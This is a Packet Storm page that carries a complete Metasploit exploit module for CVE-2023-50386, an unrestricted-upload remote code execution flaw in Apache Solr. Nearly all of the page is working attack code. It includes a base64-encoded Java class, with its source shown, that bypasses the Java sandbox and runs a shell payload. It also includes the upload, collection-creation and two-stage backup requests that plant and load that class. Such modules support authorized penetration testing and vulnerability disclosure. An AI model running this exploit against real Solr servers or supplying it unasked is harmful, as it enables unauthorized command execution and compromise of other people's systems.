what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Solr Backup/Restore API Remote Code Execution

Apache Solr Backup/Restore API Remote Code Execution
Posted Apr 24, 2024
Authored by jheysel-r7, l3yx | Site metasploit.com

Apache Solr versions 6.0.0 through 8.11.2 and versions 9.0.0 up to 9.4.1 are affected by an unrestricted file upload vulnerability which can result in remote code execution in the context of the user running Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it. The backup function of the Collection can export malicious class files uploaded by attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.

tags | exploit, java, remote, arbitrary, code execution, file upload
advisories | CVE-2023-50386
SHA-256 | 982c87ed2032bff9e2a889f42db78ed065aa2707c068813f76b1c3875193d49d

Apache Solr Backup/Restore API Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Java
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::ApacheSolr

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Solr Backup/Restore APIs RCE',
'Description' => %q{
Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File
with Dangerous Type vulnerability which can result in remote code execution in the context of the user running
Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load
some classes from it. The backup function of the Collection can export malicious class files uploaded by
attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution
can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.
},
'Author' => [
'l3yx', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],
[ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],
[ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],
[ 'CVE', '2023-50386']
],
'License' => MSF_LICENSE,
'Platform' => %w[unix linux],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
}
]
],
'Payload' => {
'BadChars' => "\x20"
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'FETCH_WRITABLE_DIR' => '/tmp/'
},
'DisclosureDate' => '2024-02-24',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
Opt::RPORT(8983),
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
OptString.new('PASSWORD', [false, 'Solr password']),
OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),
]
)
end

# If authentication is used
@auth_string = ''

def check
print_status('Running check method')
auth_res = solr_check_auth
unless auth_res
return CheckCode::Unknown('Authentication failed!')
end

# convert to JSON
ver_json = auth_res.get_json_document
# get Solr version
solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])
print_status("Found Apache Solr #{solr_version}")
# get OS version details
@target_platform = ver_json['system']['name']
target_arch = ver_json['system']['arch']
target_osver = ver_json['system']['version']
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")

unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||
solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))
return CheckCode::Safe('Running version of Solr is not vulnerable!')
end

CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")
end

# This method returns the compiled byte code of the following class, SourceParser.java:
#
# package zk_backup_0.configs.confname;
#
# import sun.misc.Unsafe;
# import java.io.BufferedReader;
# import java.io.File;
# import java.io.FileOutputStream;
# import java.io.InputStreamReader;
# import java.lang.reflect.Field;
# import java.lang.reflect.Method;
# import java.security.ProtectionDomain;
# import java.util.Map;
#
#
# public class SourceParser {
#
# static {
# try {
# Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
# unsafeField.setAccessible(true);
# Unsafe unsafe = (Unsafe) unsafeField.get(null);
# Module module = Object.class.getModule();
# Class<?> currentClass = SourceParser.class;
# long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
# unsafe.getAndSetObject(currentClass, addr, module);
#
# String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };
# Class clz = Class.forName("java.lang.ProcessImpl");
# Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
# method.setAccessible(true);
# Process process = (Process) method.invoke(clz, cmd, null, null, null, false);
# } catch (Exception e) {
# e.printStackTrace();
# }
# }
# }
def go_go_gadget(configuration1_name)
gadget = ''
gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'
gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'
gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'
gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'
gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'
gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'
gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'
gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'
gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'
gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'
gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'
gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'
gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'
gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'
gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'
gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'
gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'
gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'
gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'
gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'
gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'
gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'
gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'
gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'
gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'
gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'
gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'
gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'
gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'
gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'
gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='
gadget = Rex::Text.decode_base64(gadget)
# Replace 'confname' with our randomized 8 character configuration name
gadget.sub!('confname', configuration1_name)
# Replace the placeholder payload with our packed payload which is prefixed with it's size.
gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))
end

def packed_payload(pload)
"#{[pload.length].pack('n')}#{pload}"
end

def create_zip
zip_file = Rex::Zip::Archive.new
directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')

Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|
if File.file?(file_path)
relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
file_contents = File.read(file_path)
zip_file.add_file(relative_path, file_contents)
elsif File.directory?(file_path)
relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
zip_file.add_file(relative_path, nil, recursive: true)
end
end

zip_file
end

def upload_conf(file_name, zip_archive, conf_name)
mime = Rex::MIME::Message.new
mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")

res = solr_post({
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
'method' => 'POST',
'ctype' => 'application/octet-stream',
'data' => zip_archive,
'auth' => @auth_string,
'vars_get' => {
'action' => 'UPLOAD',
'name' => conf_name
}
})

fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

data = res.get_json_document
if data.dig('responseHeader', 'status') == 0
print_good('Uploaded configuration successfully')
elsif data.dig('error', 'msg')
fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
else
fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")
end
res
end

def create_collection(collection_name, configuration_name)
solr_get({
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
'method' => 'GET',
'auth' => @auth_string,
'vars_get' => {
'action' => 'CREATE',
'name' => collection_name,
'numShards' => 1,
'replicationFactor' => 1,
'wt' => 'json',
'collection.configName' => configuration_name
}
})
end

def backup_collection(collection_name, location, backup_name)
res = solr_get({
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
'method' => 'GET',
'auth' => @auth_string,
'vars_get' => {
'action' => 'BACKUP',
'collection' => collection_name,
'location' => location,
'name' => backup_name
}
})

fail_with(Failure::UnexpectedReply, 'No response from the target') unless res

data = res.get_json_document

if data.dig('responseHeader', 'status') == 0
print_good('Backed up collection successfully')
elsif data.dig('error', 'msg')
fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")
else
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
end
res
end

def cleanup
print_status('Cleaning up...')

# Clean up collections and configurations
# Delete the collection first then the configs or you'll get the following error:
# "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"
if @collection_res&.code == 200
delete_collection_res = solr_get({
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
'method' => 'GET',
'auth' => @auth_string,
'vars_get' => {
'action' => 'DELETE',
'name' => @collection1_name
}
})
print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200
end

if @conf1_res&.code == 200
delete_conf1_res = solr_get({
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
'method' => 'GET',
'auth' => @auth_string,
'vars_get' => {
'action' => 'DELETE',
'name' => @configuration1_name
}
})
print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200
end

if @conf2_res&.code == 200
delete_conf2_res = solr_get({
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
'method' => 'GET',
'auth' => @auth_string,
'vars_get' => {
'action' => 'DELETE',
'name' => @configuration2_name
}
})
print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200
end
end

def exploit
@collection1_name = Rex::Text.rand_text_alpha(8)
@configuration1_name = Rex::Text.rand_text_alpha_lower(8)
@collection2_name = Rex::Text.rand_text_alpha(8)

# Zip up conf1
conf1_zip = create_zip
conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))
conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))

# Upload conf1
@conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)

# Create collection from conf1
@collection_res = create_collection(@collection1_name, @configuration1_name)

fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res
data = @collection_res.get_json_document
if @collection_res.code == 200 && data['responseHeader']['status'] == 0
vprint_good('Created collection successfully')
elsif data['error']['msg']
fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
else
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
end

# Backup collection and export conf1
location = '/var/solr/data/'
backup_name = "#{@collection2_name}_shard1_replica_n1"
backup_collection(@collection1_name, location, backup_name)

# Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:
location = "/var/solr/data/#{backup_name}"
backup_name = 'lib'
backup_collection(@collection1_name, location, backup_name)

# Zip up conf2
conf2_zip = create_zip
editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))
editted_solrconfig = editted_solrconfig.gsub('</config>', " <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")
conf2_zip.add_file('solrconfig.xml', editted_solrconfig)

# Upload conf2
@configuration2_name = Rex::Text.rand_text_alpha(8)
@conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)

# Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the
# first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)
res = create_collection(@collection2_name, @configuration2_name)

fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
data = res&.get_json_document
if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"
print_good('Successfully dropped the payload')
else
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")
end
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close